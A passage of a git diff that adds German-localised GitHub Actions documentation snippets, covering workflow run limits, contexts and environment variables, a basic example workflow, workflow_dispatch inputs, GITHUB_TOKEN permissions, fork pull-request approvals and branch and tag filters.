+- **Workflowausführungswarteschlange** – Maximal 500 Workflowausführungen können in einem Intervall von 10 Sekunden pro Repository in die Warteschlange eingereiht werden. Wenn eine Workflowausführung diesen Grenzwert erreicht, wird die Workflowausführung beendet und kann nicht abgeschlossen werden.
diff --git a/translations/de-DE/data/reusables/actions/usage-workflow-run-time.md b/translations/de-DE/data/reusables/actions/usage-workflow-run-time.md
new file mode 100644
index 0000000000..8c852ce986
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/usage-workflow-run-time.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f5e316cb575c37c9ca48f6cb5df54c012ee14213
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109730"
+---
+- **Workflowlaufzeit**: Jede Workflowausführung ist auf 35 Tage begrenzt. Wenn eine Workflow-Ausführung diesen Grenzwert erreicht, wird die Workflow-Ausführung abgebrochen. Dieser Zeitraum umfasst die Ausführungsdauer sowie die Warte- und Genehmigungszeit.
diff --git a/translations/de-DE/data/reusables/actions/use-request-body-api.md b/translations/de-DE/data/reusables/actions/use-request-body-api.md
new file mode 100644
index 0000000000..adb59d3eaa
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/use-request-body-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4e9d3f1a03f14b64174f894838c769aac7c4f890
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107660"
+---
+Um diese Konfiguration anzuwenden, übermittle eine Anforderung an den API-Endpunkt, und schließe die erforderliche Konfiguration in den Anforderungstext ein. Für Organisationen findest du Informationen unter [Festlegen der Anpassungsvorlage für einen OIDC-Antragstelleranspruch für eine Organisation](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-an-organization) und für Repositorys unter [Festlegen der Anpassungsvorlage für einen OIDC-Antragstelleranspruch für ein Repository](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository).
diff --git a/translations/de-DE/data/reusables/actions/using-context-or-environment-variables.md b/translations/de-DE/data/reusables/actions/using-context-or-environment-variables.md
new file mode 100644
index 0000000000..9945ddac0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/using-context-or-environment-variables.md
@@ -0,0 +1,29 @@
+---
+ms.openlocfilehash: c8e09d66bc8f0f35ca319e3650c6913174e59067
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067825"
+---
+{% data variables.product.prodname_actions %} enthält eine Sammlung von Variablen namens _Kontexte_ und einer ähnlichen Auflistung von Variablen namens _Standardumgebungsvariablen_. Umgebungsvariablen und Kontexte sind für verschiedene Stellen im Workflow vorgesehen:
+
+- **Standardumgebungsvariablen:** Diese Variablen sind nur auf dem Runner vorhanden, der deinen Auftrag ausführt. Weitere Informationen findest du unter „[Standardumgebungsvariablen](/actions/reference/environment-variables#default-environment-variables)“.
+- **Kontexte:** Du kannst die meisten Kontexte an einem beliebigen Punkt in deinem Workflow verwenden, einschließlich, wenn _Standardumgebungsvariablen_ nicht verfügbar sind. Du kannst beispielsweise Kontexte mit Ausdrücken verwenden, um die anfängliche Verarbeitung auszuführen, bevor der Auftrag zur Ausführung an einen Runner weitergeleitet wird; dadurch kannst du einen Kontext mit dem bedingten `if`-Schlüsselwort verwenden, um festzustellen, ob ein Schritt ausgeführt werden soll. Sobald der Auftrag ausgeführt wird, kannst du auch Kontextvariablen aus dem Runner abrufen, der den Auftrag ausführt, so wie `runner.os`. Ausführliche Informationen dazu, wo du bestimmte Kontexte innerhalb eines Workflows verwenden kannst, findest du unter „[Kontextverfügbarkeit](/actions/reference/context-and-expression-syntax-for-github-actions#context-availability)“.
+
+Im folgenden Beispiel wird veranschaulicht, wie diese verschiedenen Arten von Umgebungsvariablen in einem Auftrag zusammen verwendet werden können:
+
+{% raw %}
+```yaml
+name: CI
+on: push
+jobs:
+  prod-check:
+    if: ${{ github.ref == 'refs/heads/main' }}
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "Deploying to production server on branch $GITHUB_REF"
+```
+{% endraw %}
+
+In diesem Beispiel überprüft die `if`-Anweisung den Kontext, um den [`github.ref`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context) aktuellen Zweignamen zu ermitteln; wenn der Name `refs/heads/main` lautet, werden die nachfolgenden Schritte ausgeführt. Die `if`-Überprüfung wird von {% data variables.product.prodname_actions %} verarbeitet und der Auftrag wird nur an den Runner gesendet, wenn das Ergebnis `true` ist. Sobald der Auftrag an den Runner gesendet wird, wird der Schritt ausgeführt und bezieht sich auf die [`$GITHUB_REF`](/actions/reference/environment-variables#default-environment-variables)-Umgebungsvariable des Runners.
diff --git a/translations/de-DE/data/reusables/actions/workflow-basic-example-and-explanation.md b/translations/de-DE/data/reusables/actions/workflow-basic-example-and-explanation.md
new file mode 100644
index 0000000000..1140778695
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-basic-example-and-explanation.md
@@ -0,0 +1,189 @@
+## Create an example workflow
+
+{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow.  Each workflow is stored as a separate YAML file in your code repository, in a directory named `.github/workflows`.
+
+You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the [bats](https://www.npmjs.com/package/bats) testing framework, and runs a basic command to output the bats version: `bats -v`.
+
+1. In your repository, create the `.github/workflows/` directory to store your workflow files.
+1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code.
+
+   ```yaml{:copy}
+   name: learn-github-actions
+   {%- ifversion actions-run-name %}
+   run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions
+   {%- endif %}
+   on: [push]
+   jobs:
+     check-bats-version:
+       runs-on: ubuntu-latest
+       steps:
+         - uses: {% data reusables.actions.action-checkout %}
+         - uses: {% data reusables.actions.action-setup-node %}
+           with:
+             node-version: '14'
+         - run: npm install -g bats
+         - run: bats -v
+   ```
+1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository.
+
+Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. To see the details about a workflow's execution history, see "[Viewing the activity for a workflow run](#viewing-the-activity-for-a-workflow-run)."
+
+## Understanding the workflow file
+
+To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
+
+<table>
+<tr>
+<td>
+
+  ```yaml
+  name: learn-github-actions
+  ```
+</td>
+<td>
+  <em>Optional</em> - The name of the workflow as it will appear in the "Actions" tab of the {% data variables.product.prodname_dotcom %} repository.
+</td>
+</tr>
+{%- ifversion actions-run-name %}
+<tr>
+<td>
+
+  ```yaml
+  run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions
+  ```
+</td>
+<td>
+
+  <em>Optional</em> - The name for workflow runs generated from the workflow, which will appear in the list of workflow runs on your repository's "Actions" tab. This example uses an expression with the `github` context to display the username of the actor that triggered the workflow run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions#run-name)."
+</td>
+</tr>
+{%- endif %}
+<tr>
+<td>
+
+  ```yaml
+  on: [push]
+  ```
+</td>
+<td>
+Specifies the trigger for this workflow. This example uses the <code>push</code> event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request.  This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "<a href="/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore">Workflow syntax for {% data variables.product.prodname_actions %}</a>."
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+  jobs:
+  ```
+</td>
+<td>
+ Groups together all the jobs that run in the <code>learn-github-actions</code> workflow.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+  check-bats-version:
+  ```
+</td>
+<td>
+Defines a job named <code>check-bats-version</code>. The child keys will define properties of the job.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+    runs-on: ubuntu-latest
+  ```
+</td>
+<td>
+  Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "<a href="/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">Workflow syntax for {% data variables.product.prodname_actions %}</a>."
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+    steps:
+  ```
+</td>
+<td>
+  Groups together all the steps that run in the <code>check-bats-version</code> job. Each item nested under this section is a separate action or shell script.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+      - uses: {% data reusables.actions.action-checkout %}
+  ```
+</td>
+<td>
+The <code>uses</code> keyword specifies that this step will run <code>v3</code> of the <code>actions/checkout</code> action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+  ```
+</td>
+<td>
+  This step uses the <code>{% data reusables.actions.action-setup-node %}</code> action to install the specified version of the Node.js (this example uses v14). This puts both the <code>node</code> and <code>npm</code> commands in your <code>PATH</code>.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+      - run: npm install -g bats
+  ```
+</td>
+<td>
+  The <code>run</code> keyword tells the job to execute a command on the runner. In this case, you are using <code>npm</code> to install the <code>bats</code> software testing package.
+</td>
+</tr>
+<tr>
+<td>
+
+  ```yaml
+      - run: bats -v
+  ```
+</td>
+<td>
+  Finally, you'll run the <code>bats</code> command with a parameter that outputs the software version.
+</td>
+</tr>
+</table>
+
+### Visualizing the workflow file
+
+In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+
+![Workflow overview](/assets/images/help/images/overview-actions-event.png)
+
+## Viewing the activity for a workflow run
+
+When your workflow is triggered, a _workflow run_ is created that executes the workflow. After a workflow run has started, you can see a visualization graph of the run's progress and view each step's activity on {% data variables.product.prodname_dotcom %}.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Under your repository name, click **Actions**.
+
+   ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png)
+1. In the left sidebar, click the workflow you want to see.
+
+   ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png)
+1. Under "Workflow runs", click the name of the run you want to see.
+
+   ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png)
+1. Under **Jobs** or in the visualization graph, click the job you want to see.
+
+   ![Select job](/assets/images/help/images/overview-actions-result-navigate.png)
+1. View the results of each step.
+
+   ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png)
diff --git a/translations/de-DE/data/reusables/actions/workflow-dispatch-inputs.md b/translations/de-DE/data/reusables/actions/workflow-dispatch-inputs.md
new file mode 100644
index 0000000000..e78790375f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-dispatch-inputs.md
@@ -0,0 +1,40 @@
+When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow.
+
+The triggered workflow receives the inputs in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts]({% ifversion actions-unified-inputs %}/actions/learn-github-actions/contexts#inputs-context{% else %}/actions/learn-github-actions/contexts#github-context{% endif %})."
+
+{% data reusables.actions.inputs-vs-github-event-inputs %}
+
+```yaml
+on:
+  workflow_dispatch:
+    inputs:
+      logLevel:
+        description: 'Log level'
+        required: true
+        default: 'warning' {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+        type: choice
+        options:
+        - info
+        - warning
+        - debug {% endif %}
+      print_tags:
+        description: 'True to print to STDOUT'
+        required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+        type: boolean {% endif %}
+      tags:
+        description: 'Test scenario tags'
+        required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+        type: string
+      environment:
+        description: 'Environment to run tests against'
+        type: environment
+        required: true {% endif %}
+
+jobs:
+  print-tag:
+    runs-on: ubuntu-latest
+    if: {% ifversion actions-unified-inputs %}{% raw %} ${{ inputs.print_tags }} {% endraw %}{% else %}{% raw %} ${{ github.event.inputs.print_tags == 'true' }} {% endraw %}{% endif %}
+    steps:
+      - name: Print the input tag to STDOUT
+        run: {% ifversion actions-unified-inputs %}echo {% raw %} The tags are ${{ inputs.tags }} {% endraw %}{% else %}echo {% raw %} The tags are ${{ github.event.inputs.tags }} {% endraw %}{% endif %}
+```
diff --git a/translations/de-DE/data/reusables/actions/workflow-dispatch-table-entry.md b/translations/de-DE/data/reusables/actions/workflow-dispatch-table-entry.md
new file mode 100644
index 0000000000..0d4effea1b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-dispatch-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 287726fc34b652ce09f06d9f3c0fa5d537e6335c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147064530"
+---
+| Manuelles Ausführen eines Workflows auf der Benutzeroberfläche: | [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch)|
diff --git a/translations/de-DE/data/reusables/actions/workflow-organization-templates.md b/translations/de-DE/data/reusables/actions/workflow-organization-templates.md
new file mode 100644
index 0000000000..9c006a3085
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-organization-templates.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c8b48269135d6a333120a05a9ebade28b21c978b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067820"
+---
+Mit Starterworkflows können alle Personen in Ihrer Organisation, die über die entsprechenden Berechtigungen verfügen, Workflows schneller und leichter erstellen. Bei der Erstellung eines neuen Workflows kannst du einen Startworkflow auswählen. So wird dir das Schreiben des Workflows ganz oder teilweise abgenommen. Du kannst Startworkflows als Ausgangspunkt verwenden, um deinen eigenen benutzerdefinierten Workflow zu erstellen, oder du kannst sie unverändert übernehmen. So sparst du nicht nur Zeit, sondern sorgst auch für Konsistenz und den Einsatz bewährter Methoden in deiner Organisation.
diff --git a/translations/de-DE/data/reusables/actions/workflow-permissions-intro.md b/translations/de-DE/data/reusables/actions/workflow-permissions-intro.md
new file mode 100644
index 0000000000..1111ba3265
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-permissions-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dca56bf6a6e75f6d828422e8038060485312208e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103616"
+---
+Du kannst die Standardberechtigungen festlegen, die dem `GITHUB_TOKEN` erteilt werden. Weitere Informationen zum `GITHUB_TOKEN` findest du unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication). Du kannst eine eingeschränkte Gruppe von Berechtigungen als Standard festlegen oder freizügige Einstellungen vornehmen.
diff --git a/translations/de-DE/data/reusables/actions/workflow-permissions-modifying.md b/translations/de-DE/data/reusables/actions/workflow-permissions-modifying.md
new file mode 100644
index 0000000000..bb089ff39a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-permissions-modifying.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f447f2d7eccda58451f7fee82725fa44539befa8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091248"
+---
+Jeder mit Schreibzugriff auf ein Repository kann die dem `GITHUB_TOKEN` erteilten Berechtigungen ändern und Zugriff nach Bedarf hinzufügen oder entfernen, indem er den `permissions`-Schlüssel in der Workflowdatei bearbeitet. Weitere Informationen findest du unter [`permissions`](/actions/reference/workflow-syntax-for-github-actions#permissions). 
diff --git a/translations/de-DE/data/reusables/actions/workflow-pr-approval-permissions-intro.md b/translations/de-DE/data/reusables/actions/workflow-pr-approval-permissions-intro.md
new file mode 100644
index 0000000000..10029eb41d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-pr-approval-permissions-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 097c29a001e313b61b0d625c483148119664f2de
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878987"
+---
+Du kannst zulassen oder verhindern, dass {% data variables.product.prodname_actions %}-Workflows Pull Requests aus {% ifversion allow-actions-to-approve-pr-with-ent-repo %} erstellen oder{% endif %} entfernen.
diff --git a/translations/de-DE/data/reusables/actions/workflow-run-approve-link.md b/translations/de-DE/data/reusables/actions/workflow-run-approve-link.md
new file mode 100644
index 0000000000..e7a8dbfbcf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-run-approve-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5fcbb540600ca15a2a9cb8feaf9f975862ea62b8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091243"
+---
+Weitere Informationen zum Genehmigen von Workflowausführungen, für die diese Richtlinie gilt, findest du unter [Genehmigen von Workflowausführungen über öffentliche Forks](/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks).
diff --git a/translations/de-DE/data/reusables/actions/workflow-run-approve-public-fork.md b/translations/de-DE/data/reusables/actions/workflow-run-approve-public-fork.md
new file mode 100644
index 0000000000..fe3415f519
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-run-approve-public-fork.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 59e70683dad451b603d2d34286976bfaa8d1d9c8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881058"
+---
+Jede Person kann ein öffentliches Repository forken und dann einen Pull Request übermitteln, um Änderungen an den {% data variables.product.prodname_actions %}-Workflows des Repositorys vorzuschlagen. Workflows von Forks haben zwar keinen Zugriff auf vertrauliche Daten wie Geheimnisse, können aber für die Verwalter störend sein, wenn sie zu missbräuchlichen Zwecken geändert werden.
+
+Um dies zu verhindern, werden Workflows in Pull Requests an öffentliche Repositorys von einigen externen Mitwirkenden nicht automatisch ausgeführt, sondern müssen möglicherweise zuerst genehmigt werden. Standardmäßig ist bei allen erstmaligen Mitwirkenden eine Genehmigung zum Ausführen von Workflows erforderlich.
+
+{% note %}
+
+**Hinweis:** Workflows, die durch `pull_request_target`-Ereignisse ausgelöst wurden, werden im Kontext des Basisbranch ausgeführt. Da der Basisbranch als vertrauenswürdig betrachtet wird, werden die von diesen Ereignissen ausgelösten Workflows immer ausgeführt, unabhängig von den Genehmigungseinstellungen.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/workflow-runs-dependabot-note.md b/translations/de-DE/data/reusables/actions/workflow-runs-dependabot-note.md
new file mode 100644
index 0000000000..4ca3a6c76f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-runs-dependabot-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6d101895af1ae0e202ebfb49119c83a14682de09
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091249"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Die Ausführung von Workflows, die von {% data variables.product.prodname_dependabot %}-Pull Requests ausgelöst werden, erfolgt wie bei einem geforkten Repository und nutzt dementsprechend ein schreibgeschütztes `GITHUB_TOKEN`. Diese Workflowausführungen können nicht auf Geheimnisse zugreifen. Strategien zum Gewährleisten von Sicherheit für diese Workflows findest du unter [Sichern von GitHub Actions und Workflows: Verhindern von PWN-Anforderungen](https://securitylab.github.com/research/github-actions-preventing-pwn-requests).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/workflow-template-overview.md b/translations/de-DE/data/reusables/actions/workflow-template-overview.md
new file mode 100644
index 0000000000..bc08e3019b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflow-template-overview.md
@@ -0,0 +1,3 @@
+{% data variables.product.prodname_dotcom %} provides preconfigured starter workflows that you can customize to create your own continuous integration workflow. {% data variables.product.product_name %} analyzes your code and shows you CI starter workflows that might be useful for your repository. For example, if your repository contains Node.js code, you'll see suggestions for Node.js projects. You can use starter workflows as a starting place to build your custom workflow or use them as-is.
+
+You can browse the full list of starter workflows in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}.
diff --git a/translations/de-DE/data/reusables/actions/workflows-from-public-fork-setting.md b/translations/de-DE/data/reusables/actions/workflows-from-public-fork-setting.md
new file mode 100644
index 0000000000..9ed489b47c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows-from-public-fork-setting.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 535e7cb1279d9ca040c8a3788be87f9dd267f7c9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067796"
+---
+1. Wähle unter **Fork-Pull Request-Workflows von externen Mitarbeitern** die gewünschte Option aus. Die Optionen werden von der freizügigsten bis zur restriktivsten Option aufgeführt. 
+
+   ![Einstellung zur Genehmigung für Workflows aus öffentlichen Forks](/assets/images/help/settings/actions-fork-pull-request-approval.png)
+1. Klicke auf **Speichern**, um die Einstellung zu übernehmen.
diff --git a/translations/de-DE/data/reusables/actions/workflows/approve-workflow-runs.md b/translations/de-DE/data/reusables/actions/workflows/approve-workflow-runs.md
new file mode 100644
index 0000000000..d04e005b14
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/approve-workflow-runs.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: fec57b88af5ef5b7227d88a8c70e5a4b4bb9c769
+ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: "148163825"
+---
+Betreuer mit Schreibzugriff auf ein Repository können mithilfe des folgenden Verfahrens Workflows für Pull Requests von Mitwirkenden überprüfen und ausführen, die eine Genehmigung erfordern.
+
+{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %}
+1. Überprüfe die vorgeschlagenen Änderungen im Pull Request, und stelle sicher, dass dir die Ausführung deiner Workflows im Pull Request-Branch zusagt. Du solltest besonders auf vorgeschlagene Änderungen im `.github/workflows/`-Verzeichnis achten, die sich auf Workflowdateien auswirken.
+1. Wenn du mit der Ausführung von Workflows im Pull Request-Branch zufrieden bist, kehre zur Registerkarte {% octicon "comment-discussion" aria-label="The discussion icon" %} **Unterhaltung** zurück, und klicke unter „Auf Genehmigung wartende Workflows“ auf **Genehmigen und ausführen**.
+
+   ![Genehmigen und Ausführen von Workflows](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png)
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md b/translations/de-DE/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md
new file mode 100644
index 0000000000..ab043a568a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md
@@ -0,0 +1,85 @@
+---
+ms.openlocfilehash: 4e50754bfa8075681d503e689df630855eedbbab
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089107"
+---
+
+Wenn du das `push`-Ereignis verwendest, kannst du einen Workflow so konfigurieren, dass er auf bestimmten Branches oder Tags ausgeführt wird.
+
+Verwende den Filter `branches`, wenn du Branchnamenmuster entweder einschließen oder ein- und ausschließen möchtest. Verwende den Filter `branches-ignore`, wenn du Branchnamenmuster nur ausschließen möchtest. Du kannst die Filter `branches` und `branches-ignore` nicht für dasselbe Ereignis in einem Workflow nutzen.
+
+Verwende den Filter `tags`, wenn du Tagnamenmuster entweder einschließen oder ein- und ausschließen möchtest. Verwende den Filter `tags-ignore`, wenn du Tagnamenmuster nur ausschließen möchtest. Du kannst die Filter `tags` und `tags-ignore` nicht für dasselbe Ereignis in einem Workflow nutzen.
+
+Wenn du nur `tags`/`tags-ignore` oder nur `branches`/`branches-ignore` definierst, wird der Workflow nicht für Ereignisse ausgeführt, die sich auf die nicht definierten Git-Verweise auswirken. Wenn du weder `tags`/`tags-ignore` noch `branches`/`branches-ignore` definierst, wird der Workflow für Ereignisse ausgeführt, die sich entweder auf Branches oder Tags auswirken. Wenn du sowohl `branches`/`branches-ignore` als auch [`paths`](#onpushpull_requestpull_request_targetpathspaths-ignore) definierst, wird der Workflow nur ausgeführt, wenn beide Filter zutreffen.
+
+Die Schlüsselwörter `branches`, `branches-ignore`, `tags` und `tags-ignore` akzeptieren Globmuster, die die Zeichen `*`, `**`, `+`, `?`, `!` etc. verwenden, um mehr als einem Branch- oder Tagnamen zu entsprechen. Wenn ein Name eines dieser Zeichen enthält und du eine genaue Übereinstimmung möchtest, musst du jedes dieser Sonderzeichen mit `\` *versehen*. Weitere Informationen zu Globmustern findest du im [Spickzettel zu Filtermustern](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet).
+
+#### Beispiel: Einschließen von Branches und Tags
+
+Die in `branches` und `tags` definierten Muster werden anhand des Namens des Git-Verweises ausgewertet. Der folgende Workflow wird beispielsweise jedes Mal ausgeführt, wenn ein `push`-Ereignis an folgende Instanzen ausgeführt wird:
+
+- Ein Branch namens `main` (`refs/heads/main`)
+- Ein Branch namens `mona/octocat` (`refs/heads/mona/octocat`)
+- Ein Branch, dessen Name mit `releases/` beginnt, wie `releases/10` (`refs/heads/releases/10`)
+- Ein Tag namens `v2` (`refs/tags/v2`)
+- Ein Tag, dessen Name mit `v1.` beginnt, wie `v1.9.1` (`refs/tags/v1.9.1`)
+
+```yaml
+on:
+  push:
+    # Sequence of patterns matched against refs/heads
+    branches:    
+      - main
+      - 'mona/octocat'
+      - 'releases/**'
+    # Sequence of patterns matched against refs/tags
+    tags:        
+      - v2
+      - v1.*
+```
+
+#### Beispiel: Ausschließen von Branches und Tags
+
+Wenn ein Muster dem Muster `branches-ignore` oder `tags-ignore` entspricht, wird der Workflow nicht ausgeführt. Die in `branches` und `tags` definierten Muster werden anhand des Namens des Git-Verweises ausgewertet. Der folgende Workflow wird beispielsweise immer dann ausgeführt, wenn ein `push`-Ereignis auftritt, es sei denn, das `push`-Ereignis wird an folgende Instanzen ausgeführt:
+
+- Ein Branch namens `mona/octocat` (`refs/heads/mona/octocat`)
+- Ein Branch, dessen Name mit `releases/**-alpha` übereinstimmt, wie `beta/3-alpha` (`refs/releases/beta/3-alpha`)
+- Ein Tag namens `v2` (`refs/tags/v2`)
+- Ein Tag, dessen Name mit `v1.` beginnt, wie `v1.9` (`refs/tags/v1.9`)
+
+```yaml
+on:
+  push:
+    # Sequence of patterns matched against refs/heads
+    branches-ignore:    
+      - 'mona/octocat'
+      - 'releases/**-alpha'
+    # Sequence of patterns matched against refs/tags
+    tags-ignore:        
+      - v2
+      - v1.*
+```
+
+#### Beispiel: Einschließen und Ausschließen von Branches und Tags
+
+Du kannst `branches` und `branches-ignore` nicht verwenden, um dasselbe Ereignis in einem einzigen Workflow zu filtern. Ebenso kannst du `tags` und `tags-ignore` nicht verwenden, um dasselbe Ereignis in einem einzigen Workflow zu filtern. Wenn du Branch- oder Tagmuster für ein einzelnes Ereignis sowohl einschließen als auch ausschließen möchtest, verwende den Filter `branches` oder `tags` zusammen mit dem Zeichen `!`, um die auszuschließenden Branches und Tags anzugeben.
+
+Wenn du einen Branch mit dem Zeichen `!` definierst, musst du auch mindestens einen Branch ohne das Zeichen `!` definieren. Wenn du nur Branches ausschließen möchtest, verwende stattdessen `branches-ignore`. Wenn du ebenfalls einen Tag mit dem Zeichen `!` definierst, musst du auch mindestens einen Tag ohne das Zeichen `!` definieren. Wenn du nur Tags ausschließen möchtest, verwende stattdessen `tags-ignore`.
+
+Die Reihenfolge, in der Du die Muster definierst, ist entscheidend.
+
